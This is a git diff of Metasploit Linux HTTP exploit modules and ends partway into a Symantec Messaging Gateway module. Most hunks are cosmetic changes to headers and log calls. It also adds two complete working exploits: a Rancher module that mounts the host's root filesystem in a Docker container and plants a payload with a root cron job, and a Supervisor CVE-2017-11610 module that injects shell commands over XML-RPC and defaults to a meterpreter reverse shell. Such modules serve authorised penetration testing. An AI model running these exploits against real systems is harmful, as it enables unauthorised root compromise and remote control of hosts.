--- a/modules/exploits/linux/http/nuuo_nvrmini_unauth_rce.rb
+++ b/modules/exploits/linux/http/nuuo_nvrmini_unauth_rce.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/linux/http/op5_config_exec.rb b/modules/exploits/linux/http/op5_config_exec.rb
index 3075662e9c..b3054f9e27 100644
--- a/modules/exploits/linux/http/op5_config_exec.rb
+++ b/modules/exploits/linux/http/op5_config_exec.rb
@@ -1,7 +1,7 @@
 ##
-## This module requires Metasploit: http://metasploit.com/download
-## Current source: https://github.com/rapid7/metasploit-framework
-###
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
 
 class MetasploitModule < Msf::Exploit::Remote
   include Msf::Exploit::Remote::HttpClient
diff --git a/modules/exploits/linux/http/openfiler_networkcard_exec.rb b/modules/exploits/linux/http/openfiler_networkcard_exec.rb
index 702a4ff336..640381952f 100644
--- a/modules/exploits/linux/http/openfiler_networkcard_exec.rb
+++ b/modules/exploits/linux/http/openfiler_networkcard_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/linux/http/pandora_fms_exec.rb b/modules/exploits/linux/http/pandora_fms_exec.rb
index bab22f8f39..6f5f5f21eb 100644
--- a/modules/exploits/linux/http/pandora_fms_exec.rb
+++ b/modules/exploits/linux/http/pandora_fms_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -107,5 +107,4 @@ class MetasploitModule < Msf::Exploit::Remote
       fail_with(Failure::Unknown, "#{peer} - Unexpected response, exploit probably failed!")
     end
   end
-
 end
diff --git a/modules/exploits/linux/http/pandora_fms_sqli.rb b/modules/exploits/linux/http/pandora_fms_sqli.rb
index 4a1ebce753..06e3217c73 100644
--- a/modules/exploits/linux/http/pandora_fms_sqli.rb
+++ b/modules/exploits/linux/http/pandora_fms_sqli.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -144,11 +144,11 @@ class MetasploitModule < Msf::Exploit::Remote
 
   def auth_succeeded?(res)
     if res && res.code == 200 && res.body.include?('Welcome to Pandora FMS')
-      print_status("Successfully authenticated!")
+      print_good("Successfully authenticated")
       print_status("Attempting to retrieve session cookie")
       @cookie = res.get_cookies
       if @cookie.include?('PHPSESSID')
-        print_status("Successfully retrieved session cookie: #{@cookie}")
+        print_good("Successfully retrieved session cookie: #{@cookie}")
         return true
       else
         print_error("Error retrieving cookie!")
@@ -279,7 +279,7 @@ class MetasploitModule < Msf::Exploit::Remote
 
     if res && res.code == 200 && res.body.include?("Upload correct")
       register_file_for_cleanup(@payload_name)
-      print_status("Successfully uploaded payload")
+      print_good("Successfully uploaded payload")
     else
       fail_with(Failure::Unknown, "#{peer} - Unable to inject payload!")
     end
diff --git a/modules/exploits/linux/http/peercast_url.rb b/modules/exploits/linux/http/peercast_url.rb
index 07017aea9e..2fb2f23b72 100644
--- a/modules/exploits/linux/http/peercast_url.rb
+++ b/modules/exploits/linux/http/peercast_url.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -61,5 +61,4 @@ class MetasploitModule < Msf::Exploit::Remote
     handler
     disconnect
   end
-
 end
diff --git a/modules/exploits/linux/http/pineapp_ldapsyncnow_exec.rb b/modules/exploits/linux/http/pineapp_ldapsyncnow_exec.rb
index 9802d6ff14..ca28a0c357 100644
--- a/modules/exploits/linux/http/pineapp_ldapsyncnow_exec.rb
+++ b/modules/exploits/linux/http/pineapp_ldapsyncnow_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -91,5 +91,4 @@ class MetasploitModule < Msf::Exploit::Remote
       }
     })
   end
-
 end
diff --git a/modules/exploits/linux/http/pineapp_livelog_exec.rb b/modules/exploits/linux/http/pineapp_livelog_exec.rb
index ec2d79113c..a54083e07e 100644
--- a/modules/exploits/linux/http/pineapp_livelog_exec.rb
+++ b/modules/exploits/linux/http/pineapp_livelog_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -94,5 +94,4 @@ class MetasploitModule < Msf::Exploit::Remote
       }
     })
   end
-
 end
diff --git a/modules/exploits/linux/http/pineapp_test_li_conn_exec.rb b/modules/exploits/linux/http/pineapp_test_li_conn_exec.rb
index a4488c591d..0ec59375f7 100644
--- a/modules/exploits/linux/http/pineapp_test_li_conn_exec.rb
+++ b/modules/exploits/linux/http/pineapp_test_li_conn_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -110,5 +110,4 @@ class MetasploitModule < Msf::Exploit::Remote
       }
     })
   end
-
 end
diff --git a/modules/exploits/linux/http/pineapple_bypass_cmdinject.rb b/modules/exploits/linux/http/pineapple_bypass_cmdinject.rb
index ab56839910..2b5c8801a2 100644
--- a/modules/exploits/linux/http/pineapple_bypass_cmdinject.rb
+++ b/modules/exploits/linux/http/pineapple_bypass_cmdinject.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/linux/http/pineapple_preconfig_cmdinject.rb b/modules/exploits/linux/http/pineapple_preconfig_cmdinject.rb
index ac76f76fb0..8f28d7ddaa 100644
--- a/modules/exploits/linux/http/pineapple_preconfig_cmdinject.rb
+++ b/modules/exploits/linux/http/pineapple_preconfig_cmdinject.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -195,7 +195,7 @@ class MetasploitModule < Msf::Exploit::Remote
       )
 
       if res && res.code == 200 && res.body =~ /set_password/
-        print_status('Successfully solved puzzle!')
+        print_good('Successfully solved puzzle!')
         return write_password(cookies)
       end
     end
@@ -218,7 +218,7 @@ class MetasploitModule < Msf::Exploit::Remote
       }
     )
     if res && res.code == 200 && res.body =~ /success/
-      print_status('Successfully set password!')
+      print_good('Successfully set password!')
       return res
     end
     print_warning('Failed to set password')
diff --git a/modules/exploits/linux/http/piranha_passwd_exec.rb b/modules/exploits/linux/http/piranha_passwd_exec.rb
index 35f96086a6..ba80ef54c8 100644
--- a/modules/exploits/linux/http/piranha_passwd_exec.rb
+++ b/modules/exploits/linux/http/piranha_passwd_exec.rb
@@ -1,10 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
-
 class MetasploitModule < Msf::Exploit::Remote
   Rank = ExcellentRanking
 
@@ -94,8 +92,7 @@ class MetasploitModule < Msf::Exploit::Remote
     if res.code == 401
       print_error("401 Authorization Required! Our Credentials not accepted!")
     elsif (res.code == 200 and res.body =~ /The passwords you supplied match/)
-      print_status("Command successfully executed (according to the server).")
+      print_good("Command successfully executed (according to the server).")
     end
   end
-
 end
diff --git a/modules/exploits/linux/http/raidsonic_nas_ib5220_exec_noauth.rb b/modules/exploits/linux/http/raidsonic_nas_ib5220_exec_noauth.rb
index cf2e58ae93..6ba01f5927 100644
--- a/modules/exploits/linux/http/raidsonic_nas_ib5220_exec_noauth.rb
+++ b/modules/exploits/linux/http/raidsonic_nas_ib5220_exec_noauth.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/linux/http/railo_cfml_rfi.rb b/modules/exploits/linux/http/railo_cfml_rfi.rb
index abdf2fccd4..874e28a801 100644
--- a/modules/exploits/linux/http/railo_cfml_rfi.rb
+++ b/modules/exploits/linux/http/railo_cfml_rfi.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -15,7 +15,7 @@ class MetasploitModule < Msf::Exploit::Remote
                       'Description' => '
                       This module exploits a remote file include vulnerability in Railo,
                       tested against version 4.2.1. First, a call using a vulnerable
-                      <cffile> line in thumbnail.cfm allows an atacker to download an
+                      <cffile> line in thumbnail.cfm allows an attacker to download an
                       arbitrary PNG file. By appending a .cfm, and taking advantage of
                       a directory traversal, an attacker can append cold fusion markup
                       to the PNG file, and have it interpreted by the server. This is
diff --git a/modules/exploits/linux/http/rancher_server.rb b/modules/exploits/linux/http/rancher_server.rb
new file mode 100644
index 0000000000..08c01cc3d0
--- /dev/null
+++ b/modules/exploits/linux/http/rancher_server.rb
@@ -0,0 +1,234 @@
+##
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+class MetasploitModule < Msf::Exploit::Remote
+  Rank = ExcellentRanking
+
+  include Msf::Exploit::Remote::HttpClient
+  include Msf::Exploit::FileDropper
+
+  def initialize(info = {})
+    super(update_info(info,
+      'Name'             => 'Rancher Server - Docker Exploit',
+      'Description'      => %q(
+        Utilizing Rancher Server, an attacker can create a docker container
+        with the '/' path mounted with read/write permissions on the host
+        server that is running the docker container. As the docker container
+        executes command as uid 0 it is honored by the host operating system
+        allowing the attacker to edit/create files owed by root. This exploit
+        abuses this to creates a cron job in the '/etc/cron.d/' path of the
+        host server.
+
+        The Docker image should exist on the target system or be a valid image
+        from hub.docker.com.
+
+        Use `check` with verbose mode to get a list of exploitable Rancher
+        Hosts managed by the target system.
+      ),
+      'Author'           => 'Martin Pizala', # started with dcos_marathon module from Erik Daguerre
+      'License'          => MSF_LICENSE,
+      'References'       => [
+        'URL'            => 'https://docs.docker.com/engine/security/security/#docker-daemon-attack-surface'
+      ],
+      'Platform'         => 'linux',
+      'Arch'             => [ARCH_X64],
+      'Payload'          => { 'Space' => 65000 },
+      'Targets'          => [[ 'Linux', {} ]],
+      'DefaultOptions'   => { 'WfsDelay' => 75, 'Payload' => 'linux/x64/meterpreter/reverse_tcp' },
+      'DefaultTarget'    => 0,
+      'DisclosureDate'   => 'Jul 27, 2017'))
+
+    register_options(
+      [
+        Opt::RPORT(8080),
+        OptString.new('TARGETENV', [ true, 'Target Rancher Environment', '1a5' ]),
+        OptString.new('TARGETHOST', [ true, 'Target Rancher Host', '1h1' ]),
+        OptString.new('DOCKERIMAGE', [ true, 'hub.docker.com image to use', 'alpine:latest' ]),
+        OptString.new('CONTAINER_ID', [ false, 'container id you would like']),
+        OptString.new('HttpUsername', [false, 'Rancher API Access Key (Username)']),
+        OptString.new('HttpPassword', [false, 'Rancher API Secret Key (Password)'])
+      ]
+    )
+    register_advanced_options(
+      [
+        OptString.new('TARGETURI', [ true, 'Rancher API Path', '/v1/projects' ]),
+        OptInt.new('WAIT_TIMEOUT', [ true, 'Time in seconds to wait for the docker container to deploy', 60 ])
+      ]
+    )
+  end
+
+  def del_container(rancher_container_id, container_id)
+    res = send_request_cgi(
+      'method'  => 'DELETE',
+      'uri'     => normalize_uri(target_uri.path, datastore['TARGETENV'], 'containers', rancher_container_id),
+      'ctype'   => 'application/json',
+      'headers' => { 'Accept' => 'application/json' }
+    )
+
+    return vprint_good('The docker container has been removed.') if res && res.code == 200
+
+    print_warning("Manual cleanup of container \"#{container_id}\" is needed on the target.")
+  end
+
+  def make_container_id
+    return datastore['CONTAINER_ID'] unless datastore['CONTAINER_ID'].nil?
+
+    rand_text_alpha_lower(8)
+  end
+
+  def make_cmd(mnt_path, cron_path, payload_path)
+    vprint_status('Creating the docker container command')
+    echo_cron_path = mnt_path + cron_path
+    echo_payload_path = mnt_path + payload_path
+
+    command = "echo #{Rex::Text.encode_base64(payload.encoded_exe)} | base64 -d > #{echo_payload_path} \&\& chmod +x #{echo_payload_path} \&\& "
+    command << "echo \"PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/sbin:/usr/local/bin\" >> #{echo_cron_path} \&\& "
+    command << "echo \"\" >> #{echo_cron_path} \&\& "
+    command << "echo \"* * * * * root #{payload_path}\" >> #{echo_cron_path}"
+
+    command
+  end
+
+  def make_container(mnt_path, cron_path, payload_path, container_id)
+    vprint_status('Setting container json request variables')
+    {
+      'instanceTriggeredStop'           => 'stop',
+      'startOnCreate'                   => true,
+      'networkMode'                     => 'managed',
+      'requestedHostId'                 => datastore['TARGETHOST'],
+      'type'                            => 'container',
+      'dataVolumes'                     => [ '/:' + mnt_path ],
+      'imageUuid'                       => 'docker:' + datastore['DOCKERIMAGE'],
+      'name'                            => container_id,
+      'command'                         => make_cmd(mnt_path, cron_path, payload_path),
+      'entryPoint'                      => %w[sh -c]
+    }
+  end
+
+  def check
+    res = send_request_cgi(
+      'method'  => 'GET',
+      'uri'     => normalize_uri(target_uri.path),
+      'ctype'   => 'application/json',
+      'headers' => { 'Accept' => 'application/json' }
+    )
+
+    if res.nil?
+      print_error('Failed to connect to the target')
+      return Exploit::CheckCode::Unknown
+    end
+
+    if res.code == 401 && res.headers.to_json.include?('X-Rancher-Version')
+      print_error('Authorization is required. Provide valid Rancher API Keys.')
+      return Exploit::CheckCode::Detected
+    end
+
+    if res.code == 200 && res.headers.to_json.include?('X-Rancher-Version')
+      target_found = false
+      target_selected = false
+
+      environments = JSON.parse(res.body)['data']
+      environments.each do |e|
+        res = send_request_cgi(
+          'method'  => 'GET',
+          'uri'     => normalize_uri(target_uri.path, e['id'], 'hosts'),
+          'ctype'   => 'application/json',
+          'headers' => { 'Accept' => 'application/json' }
+        )
+
+        hosts = JSON.parse(res.body)['data']
+        hosts.each do |h|
+          target_found = true
+          result = "Rancher Host \"#{h['hostname']}\" (TARGETHOST #{h['id']}) on "
+          result << "Environment \"#{e['name']}\" (TARGETENV #{e['id']}) found"
+
+          # flag results when this host is targeted via options
+          if datastore['TARGETENV'] == e['id'] && datastore['TARGETHOST'] == h['id']
+            target_selected = true
+            vprint_good(result + ' %red<-- targeted%clr')
+          else
+            vprint_good(result)
+          end
+        end
+      end
+
+      if target_found
+        return Exploit::CheckCode::Vulnerable if target_selected
+
+        print_bad("Your TARGETENV \"#{datastore['TARGETENV']}\" or/and TARGETHOST \"#{datastore['TARGETHOST']}\" is not available")
+        if datastore['VERBOSE'] == false
+          print_bad('Try verbose mode to know what happened.')
+        end
+        vprint_bad('Choose a TARGETHOST and TARGETENV from the results above')
+        return Exploit::CheckCode::Appears
+      else
+        print_bad('No TARGETHOST available')
+        return Exploit::CheckCode::Detected
+      end
+    end
+
+    Exploit::CheckCode::Safe
+  end
+
+  def exploit
+    unless check == Exploit::CheckCode::Vulnerable
+      fail_with(Failure::Unknown, 'Failed to connect to the target')
+    end
+
+    # create required information to create json container information
+    cron_path = '/etc/cron.d/' + rand_text_alpha(8)
+    payload_path = '/tmp/' + rand_text_alpha(8)
+    mnt_path = '/mnt/' + rand_text_alpha(8)
+    container_id = make_container_id
+
+    # deploy docker container
+    res = send_request_cgi(
+      'method'  => 'POST',
+      'uri'     => normalize_uri(target_uri.path, datastore['TARGETENV'], 'containers'),
+      'ctype'   => 'application/json',
+      'headers' => { 'Accept' => 'application/json' },
+      'data'    => make_container(mnt_path, cron_path, payload_path, container_id).to_json
+    )
+    fail_with(Failure::Unknown, 'Failed to create the docker container') unless res && res.code == 201
+
+    print_good('The docker container is created, waiting for it to deploy')
+
+    # cleanup
+    register_files_for_cleanup(cron_path, payload_path)
+
+    rancher_container_id = JSON.parse(res.body)['id']
+    deleted_container = false
+
+    sleep_time = 5
+    wait_time = datastore['WAIT_TIMEOUT']
+    vprint_status("Waiting up to #{wait_time} seconds until the docker container stops")
+
+    while wait_time > 0
+      sleep(sleep_time)
+      wait_time -= sleep_time
+
+      res = send_request_cgi(
+        'method'  => 'GET',
+        'uri'     => normalize_uri(target_uri.path, datastore['TARGETENV'], 'containers', '?name=' + container_id),
+        'ctype'   => 'application/json',
+        'headers' => { 'Accept' => 'application/json' }
+      )
+      next unless res && res.code == 200 && res.body.include?('stopped')
+
+      vprint_good('The docker container has stopped, now trying to remove it')
+      del_container(rancher_container_id, container_id)
+      deleted_container = true
+      wait_time = 0
+    end
+
+    # if container does not deploy, try to remove it and fail out
+    unless deleted_container
+      del_container(rancher_container_id, container_id)
+      fail_with(Failure::Unknown, "The docker container failed to start")
+    end
+
+    print_status('Waiting for the cron job to run, can take up to 60 seconds')
+  end
+end
diff --git a/modules/exploits/linux/http/realtek_miniigd_upnp_exec_noauth.rb b/modules/exploits/linux/http/realtek_miniigd_upnp_exec_noauth.rb
index 699df3e14c..f53c8831cc 100644
--- a/modules/exploits/linux/http/realtek_miniigd_upnp_exec_noauth.rb
+++ b/modules/exploits/linux/http/realtek_miniigd_upnp_exec_noauth.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -161,5 +161,4 @@ class MetasploitModule < Msf::Exploit::Remote
 
     xml.to_s
   end
-
 end
diff --git a/modules/exploits/linux/http/riverbed_netprofiler_netexpress_exec.rb b/modules/exploits/linux/http/riverbed_netprofiler_netexpress_exec.rb
index 512b945157..f57eb910d0 100644
--- a/modules/exploits/linux/http/riverbed_netprofiler_netexpress_exec.rb
+++ b/modules/exploits/linux/http/riverbed_netprofiler_netexpress_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -156,50 +156,18 @@ class MetasploitModule < Msf::Exploit::Remote
          'encode_params' => false,
          'data'     => post_data
        })
-
-       sessid_cookie = (res.get_cookies || '').scan(/SESSID=(\w+);/).flatten[0] || ''
-       print_status("Saving login credentials into Metasploit DB")
-       report_cred(uname, passwd)
     else
-       print_status("Valid login credentials provided. Successfully logged in")
-       sessid_cookie = (res.get_cookies || '').scan(/SESSID=(\w+);/).flatten[0] || ''
-       print_status("Saving login credentials into Metasploit DB")
-       report_cred(uname, passwd)
+       print_good("Valid login credentials provided. Successfully logged in")
     end
 
+    sessid_cookie = (res.get_cookies || '').scan(/SESSID=(\w+);/).flatten[0] || ''
+    print_status("Saving login credentials into Metasploit DB")
+    store_valid_credential(user: uname, private: passwd)
+
     return sessid_cookie
 
   end
 
-  def report_cred(username, password)
-    # Function used to save login credentials into Metasploit database
-    service_data = {
-      address: rhost,
-      port: rport,
-      service_name: ssl ? 'https' : 'http',
-      protocol: 'tcp',
-      workspace_id: myworkspace_id
-    }
-
-    credential_data = {
-      module_fullname: self.fullname,
-      origin_type: :service,
-      username: username,
-      private_data: password,
-      private_type: :password
-    }.merge(service_data)
-
-    credential_core = create_credential(credential_data)
-
-    login_data = {
-      core: credential_core,
-      last_attempted_at: DateTime.now,
-      status: Metasploit::Model::Login::Status::SUCCESSFUL
-    }.merge(service_data)
-
-    create_credential_login(login_data)
-  end
-
   def create_user
     # Function exploiting login SQLi to create a malicious user
     username = datastore['RIVERBED_USER']
@@ -231,7 +199,7 @@ class MetasploitModule < Msf::Exploit::Remote
      })
 
      if res && res.body && res.body.include?('session_id')
-       print_status("User account successfully created, login credentials: '#{username}':'#{password}'")
+       print_good("User account successfully created, login credentials: '#{username}':'#{password}'")
      else
        fail_with(Failure::UnexpectedReply, 'Unable to add user to database')
      end
@@ -312,5 +280,4 @@ class MetasploitModule < Msf::Exploit::Remote
     @elf_sent = true
     send_response(cli, @pl)
   end
-
 end
diff --git a/modules/exploits/linux/http/seagate_nas_php_exec_noauth.rb b/modules/exploits/linux/http/seagate_nas_php_exec_noauth.rb
index 8478215a38..d6d412e71c 100644
--- a/modules/exploits/linux/http/seagate_nas_php_exec_noauth.rb
+++ b/modules/exploits/linux/http/seagate_nas_php_exec_noauth.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -349,5 +349,4 @@ class MetasploitModule < Msf::Exploit::Remote
   def xml_encode(str)
     str.gsub(/</, '&lt;').gsub(/>/, '&gt;')
   end
-
 end
diff --git a/modules/exploits/linux/http/smt_ipmi_close_window_bof.rb b/modules/exploits/linux/http/smt_ipmi_close_window_bof.rb
index 8da1673419..1334d13e7c 100644
--- a/modules/exploits/linux/http/smt_ipmi_close_window_bof.rb
+++ b/modules/exploits/linux/http/smt_ipmi_close_window_bof.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -123,5 +123,4 @@ class MetasploitModule < Msf::Exploit::Remote
     print_status("Sending exploit...")
     send_close_window_request(buffer, payload.encoded)
   end
-
 end
diff --git a/modules/exploits/linux/http/sophos_wpa_iface_exec.rb b/modules/exploits/linux/http/sophos_wpa_iface_exec.rb
index 4ea9d0689a..757d663377 100644
--- a/modules/exploits/linux/http/sophos_wpa_iface_exec.rb
+++ b/modules/exploits/linux/http/sophos_wpa_iface_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -14,7 +14,7 @@ class MetasploitModule < Msf::Exploit::Remote
       'Description'    => %q{
         This module takes advantage of two vulnerabilities in order to gain remote code execution as root
         as an otherwise non-privileged authorized user. By taking advantage of a mass assignment
-        vulnerability that allows an unprivileged authenticated user to change the admininistrator's
+        vulnerability that allows an unprivileged authenticated user to change the administrator's
         password hash, the module updates the password to login as the admin to reach the second vulnerability.
         No server-side sanitization is done on values passed when configuring a static network interface.
         This allows an administrator user to run arbitrary commands in the context of the web application,
diff --git a/modules/exploits/linux/http/sophos_wpa_sblistpack_exec.rb b/modules/exploits/linux/http/sophos_wpa_sblistpack_exec.rb
index 87c72539e9..7afe846084 100644
--- a/modules/exploits/linux/http/sophos_wpa_sblistpack_exec.rb
+++ b/modules/exploits/linux/http/sophos_wpa_sblistpack_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -109,5 +109,4 @@ class MetasploitModule < Msf::Exploit::Remote
 
     return res
   end
-
 end
diff --git a/modules/exploits/linux/http/supervisor_xmlrpc_exec.rb b/modules/exploits/linux/http/supervisor_xmlrpc_exec.rb
new file mode 100644
index 0000000000..3f28f6f321
--- /dev/null
+++ b/modules/exploits/linux/http/supervisor_xmlrpc_exec.rb
@@ -0,0 +1,169 @@
+##
+# This module requires Metasploit: http://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+
+class MetasploitModule < Msf::Exploit::Remote
+  Rank = ExcellentRanking
+
+  include Msf::Exploit::Remote::HttpClient
+  include Msf::Exploit::CmdStager
+
+  def initialize(info={})
+    super(update_info(info,
+      'Name'           => "Supervisor XML-RPC Authenticated Remote Code Execution",
+      'Description'    => %q{
+        This module exploits a vulnerability in the Supervisor process control software, where an authenticated client
+        can send a malicious XML-RPC request to supervisord that will run arbitrary shell commands on the server.
+        The commands will be run as the same user as supervisord. Depending on how supervisord has been configured, this
+        may be root. This vulnerability can only be exploited by an authenticated client, or if supervisord has been
+        configured to run an HTTP server without authentication. This vulnerability affects versions 3.0a1 to 3.3.2.
+      },
+      'License'        => MSF_LICENSE,
+      'Author'         =>
+        [
+          'Calum Hutton <c.e.hutton@gmx.com>'
+        ],
+      'References'     =>
+        [
+          ['URL', 'https://github.com/Supervisor/supervisor/issues/964'],
+          ['URL', 'https://www.debian.org/security/2017/dsa-3942'],
+          ['URL', 'https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-11610'],
+          ['URL', 'https://github.com/phith0n/vulhub/tree/master/supervisor/CVE-2017-11610'],
+          ['CVE', '2017-11610']
+        ],
+      'Platform'       => 'linux',
+      'Targets'        =>
+        [
+          ['3.0a1-3.3.2', {}]
+        ],
+      'Arch'           => [ ARCH_X86, ARCH_X64 ],
+      'DefaultOptions' =>
+        {
+          'RPORT'         => 9001,
+          'Payload'       => 'linux/x64/meterpreter/reverse_tcp',
+        },
+      'Privileged'     => false,
+      'DisclosureDate' => 'Jul 19 2017',
+      'DefaultTarget'  => 0
+    ))
+
+    register_options(
+      [
+        Opt::RPORT(9001),
+        OptString.new('HttpUsername', [false, 'Username for HTTP basic auth']),
+        OptString.new('HttpPassword', [false, 'Password for HTTP basic auth']),
+        OptString.new('TARGETURI', [true, 'The path to the XML-RPC endpoint', '/RPC2']),
+      ]
+    )
+  end
+
+  def check_version(version)
+    if version <= Gem::Version.new('3.3.2') and version >= Gem::Version.new('3.0a1')
+      return true
+    else
+      return false
+    end
+  end
+
+  def check
+
+    print_status('Extracting version from web interface..')
+
+    params = {
+      'method'    => 'GET',
+      'uri'       => normalize_uri('/')
+    }
+    if !datastore['HttpUsername'].to_s.empty? and !datastore['HttpPassword'].to_s.empty?
+      print_status("Using basic auth (#{datastore['HttpUsername']}:#{datastore['HttpPassword']})")
+      params.merge!({'authorization' => basic_auth(datastore['HttpUsername'], datastore['HttpPassword'])})
+    end
+    res = send_request_cgi(params)
+
+    if res
+      if res.code == 200
+        match = res.body.match(/<span>(\d+\.[\dab]\.\d+)<\/span>/)
+        if match
+          version = Gem::Version.new(match[1])
+          if check_version(version)
+            print_good("Vulnerable version found: #{version}")
+            return Exploit::CheckCode::Appears
+          else
+            print_bad("Version #{version} is not vulnerable")
+            return Exploit::CheckCode::Safe
+          end
+        else
+          print_bad('Could not extract version number from web interface')
+          return Exploit::CheckCode::Unknown
+        end
+      elsif res.code == 401
+        print_bad("Authentication failed: #{res.code} response")
+        return Exploit::CheckCode::Safe
+      else
+        print_bad("Unexpected HTTP code: #{res.code} response")
+        return Exploit::CheckCode::Unknown
+      end
+    else
+      print_bad('Error connecting to web interface')
+      return Exploit::CheckCode::Unknown
+    end
+
+  end
+
+  def execute_command(cmd, opts = {})
+
+    # XML-RPC payload template, use nohup and & to detach and background the process so it doesnt hangup the web server
+    # Credit to the following urls for the os.system() payload
+    # https://github.com/phith0n/vulhub/tree/master/supervisor/CVE-2017-11610
+    # https://www.leavesongs.com/PENETRATION/supervisord-RCE-CVE-2017-11610.html
+    xml_payload = %{<?xml version="1.0"?>
+<methodCall>
+  <methodName>supervisor.supervisord.options.warnings.linecache.os.system</methodName>
+  <params>
+    <param>
+      <string>echo -n #{Rex::Text.encode_base64(cmd)}|base64 -d|nohup bash > /dev/null 2>&amp;1 &amp;</string>
+    </param>
+  </params>
+</methodCall>}
+
+    # Send the XML-RPC payload via POST to the specified endpoint
+    endpoint_path = target_uri.path
+    print_status("Sending XML-RPC payload via POST to #{peer}#{datastore['TARGETURI']}")
+
+    params = {
+      'method'        => 'POST',
+      'uri'           => normalize_uri(endpoint_path),
+      'ctype'         => 'text/xml',
+      'headers'       => {'Accept' => 'text/xml'},
+      'data'          => xml_payload,
+      'encode_params' => false
+    }
+    if !datastore['HttpUsername'].to_s.empty? and !datastore['HttpPassword'].to_s.empty?
+      print_status("Using basic auth (#{datastore['HttpUsername']}:#{datastore['HttpPassword']})")
+      params.merge!({'authorization' => basic_auth(datastore['HttpUsername'], datastore['HttpPassword'])})
+    end
+    return send_request_cgi(params, timeout=5)
+
+  end
+
+  def exploit
+
+    res = execute_cmdstager(:linemax => 800)
+
+    if res
+      if res.code == 401
+        fail_with(Failure::NoAccess, "Authentication failed: #{res.code} response")
+      elsif res.code == 404
+        fail_with(Failure::NotFound, "Invalid XML-RPC endpoint: #{res.code} response")
+      else
+        fail_with(Failure::UnexpectedReply, "Unexpected HTTP code: #{res.code} response")
+      end
+    else
+      print_good('Request returned without status code, usually indicates success. Passing to handler..')
+      handler
+    end
+
+  end
+
+end
diff --git a/modules/exploits/linux/http/symantec_messaging_gateway_exec.rb b/modules/exploits/linux/http/symantec_messaging_gateway_exec.rb
new file mode 100644
index 0000000000..139d8704c8
--- /dev/null
+++ b/modules/exploits/linux/http/symantec_messaging_gateway_exec.rb
@@ -0,0 +1,201 @@
+##
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+class MetasploitModule < Msf::Exploit::Remote
+  Rank = ExcellentRanking
+
+  include Msf::Exploit::Remote::HttpClient
+
+  def initialize(info={})
+    super(update_info(info,
+      'Name'           => "Symantec Messaging Gateway Remote Code Execution",
+      'Description'    => %q{
